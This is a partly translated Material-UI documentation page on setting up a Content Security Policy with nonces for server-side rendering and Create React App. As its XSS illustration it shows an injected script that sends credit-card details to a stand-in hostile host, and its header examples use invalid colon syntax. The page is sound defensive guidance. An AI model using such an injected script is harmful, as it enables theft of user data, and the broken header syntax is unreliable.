Política de segurança de conteúdo (CSP)

Esta seção abrange os detalhes da criação de um CSP.

O que é CSP e por que é útil?

CSP reduz os ataques de cross-site scripting (XSS) exigindo que os desenvolvedores incluam na whitelist as fontes de onde seus assets são recuperados. Esta lista é retornada como um cabeçalho do servidor. Por exemplo, digamos que você tenha um site hospedado em `https://example.com` o cabeçalho CSP `default-src: 'self';` permitirá todos os assets localizados em `https://example.com/*` e negar todos os outros. Se houver uma seção do seu site que é vulnerável ao XSS, onde a entrada do usuário de unescaped é exibida, um invasor pode inserir algo como:

```
<script>
  sendCreditCardDetails('https://hostile.example');
</script>
```

Esta vulnerabilidade permitiria que o invasor executasse qualquer coisa. No entanto, com um cabeçalho CSP seguro, o navegador não carregará esse script.

Você pode ler mais sobre o CSP no MDN Web Docs.

Como se implementa o CSP?

Renderização do lado do Servidor (SSR)

Para usar o CSP com Material-UI (e JSS), você precisa usar um nonce. Um nonce é uma string gerada aleatoriamente que é usada apenas uma vez, portanto, você precisa adicionar um middleware de servidor para gerar um em cada solicitação.

Um nonce CSP é uma string codificada na Base 64. Você pode gerar um assim:

```
import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');
```

Você deve usar o UUID versão 4, pois ele gera uma string **imprevisível**. Em seguida, você aplica esse nonce ao cabeçalho do CSP. Um cabeçalho CSP pode ser assim com o nonce aplicado:

```
header('Content-Security-Policy').set(
  `default-src 'self'; style-src: 'self' 'nonce-${nonce}';`,
);
```

Você deve passar o nonce na tag `<style>` no servidor.

```
<style
  id="jss-server-side"
  nonce={nonce}
```

```
  dangerouslySetInnerHTML={{
    __html: sheets.toString(),
  }}
/>
```

Então, você deve passar este nonce para o JSS para que ele possa adicioná-lo às tags `<style>` subsequentes.

> Note, if you were using `StyledEngineProvider` with `injectFirst`, you will need to replace it with `CacheProvider` from emotion and add the `prepend: true` option.

```
<head>
  <meta property="csp-nonce" content="this-is-a-nonce-123" />
</head>
```

Create React App (CRA)

De acordo com a documentação de Create React App, uma aplicação de Create React App incorporará dinamicamente o script de tempo de execução em index.html durante a compilação de produção por padrão. Isto exigirá que um novo hash seja definido em seu CSP durante cada implantação.

Para usar um CSP com um projeto inicializado como um Create React App, você precisará definir a variável `INLINE_RUNTIME_CHUNK=false` no arquivo `.env` usado para sua compilação de produção. Isto irá importar o script de execução como de costume em vez de incorporá-lo, evitando a necessidade de definir um novo hash durante cada implantação.

global-css

The configuration of the nonce is not straightforward, but you can follow this issue for more insights.